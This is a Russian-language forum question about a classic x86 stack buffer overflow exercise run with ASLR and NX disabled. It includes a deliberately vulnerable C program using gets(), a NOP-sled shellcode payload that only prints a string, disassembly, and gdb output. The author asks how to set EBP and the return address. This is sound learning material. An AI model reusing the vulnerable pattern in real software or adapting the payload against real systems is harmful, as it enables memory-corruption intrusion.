Несколько дней назад я написал простой код для тестирования эксплуатации переполнения буфера в системе x86. Для простоты я отключил ASLR и NX, чтобы не было защиты, которая могла бы вызвать странное поведение.
Это мой код на C, который можно использовать:
#include <stdio.h>
void read_txt(){
char txt[64];
printf("Write something:");
gets(txt);
}
int main(){
read_txt();
return 0;
}
Я также написал свой собственный шелл-код, который просто печатает строку. Насколько я знаю, полезная нагрузка должна быть примерно такой: заполните буфер инструкциями NOP + шелл-кодом, добавьте 0x41414141 (AAAA), чтобы перезаписать регистр EBP, и, наконец, я заменяю адрес возврата адресом, указывающим на середину NOP.
На самом деле это не работает, и моя полезная нагрузка следующая:
[1-\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x04\xb3\x01\x68\x20\x3b\x29\x20\x68\x68\x73\x65\x63\x68\x20\x48\x69\x67\x68\x48\x6f\x6c\x61\x89\xe1\xb2\x0f\xcd\x80\xb0\x01\x31\xdb][2-\x41\x41\x41\x41][3-\x89\xf4\xff\xbf][4-\x89\xf4\xff\xbf]
1- NOPs + Shellcode = 60bytes
2- AAAA =4 bytes (Padding to fill the buffer, if NOP+Shellcode fills 64bytes it does not work)
3- Address to override EBP (In the middle of NOPs)
4- Overrides Return Address
Этот эксплойт работает с gdb, но не работает, если я передаю полезную нагрузку непосредственно программе, и я думаю, что проблема в том, что непосредственно перед тем, как программа выполнит функцию gets (), дизассемблер показывает инструкцию leave, которая указывает на esp. в ebp и вызывает ошибку.
Это разборка функции read_txt ():
0x0804844c <+0>: push %ebp
0x0804844d <+1>: mov %esp,%ebp
0x0804844f <+3>: sub $0x44,%esp
0x08048452 <+6>: movl $0x8048510,(%esp)
0x08048459 <+13>: call 0x8048320 <printf@plt>
0x0804845e <+18>: lea -0x40(%ebp),%eax
0x08048461 <+21>: mov %eax,(%esp)
0x08048464 <+24>: call 0x8048330 <gets@plt>
0x08048469 <+29>: leave
0x0804846a <+30>: ret
И это выполнение эксплойта на GDB:
(gdb) x/20x $esp
0xbffff47c: 0xbffff480 0x90909090 0x90909090 0x90909090
0xbffff48c: 0x90909090 0xc0319090 0xc931db31 0x04b0d231
0xbffff49c: 0x206801b3 0x6820293b 0x63657368 0x69482068
0xbffff4ac: 0x6f486867 0xe189616c 0x80cd0fb2 0xdb3101b0
0xbffff4bc: 0x41414141 0xbffff489 0xbffff489 0xbffff500
(gdb) s
Warning:
Cannot insert breakpoint 0.
Error accessing memory address 0x90909090: I/O Error.
0xbffff489 in ?? ()
(gdb) c
Continuing.
Shellcode Executed
Program received signal SIGSEGV, Segmentation fault.
0xbffff4b9 in ?? ()
(gdb)
Обратите внимание, что EBP указывает на 0x90909090, потому что он имеет тот же адрес, который переопределяет адрес возврата, а также обратите внимание на строку Shellcode Executed, которая является шелл-кодом, включенным в полезную нагрузку.
Мой вопрос: где я могу указать EBP, чтобы избежать этой проблемы, прежде чем указывать обратный адрес на слайде NOP? Также в качестве второстепенного вопроса, почему я не могу заполнить 64-байтовый буфер NOP + Shellcode?
С Уважением.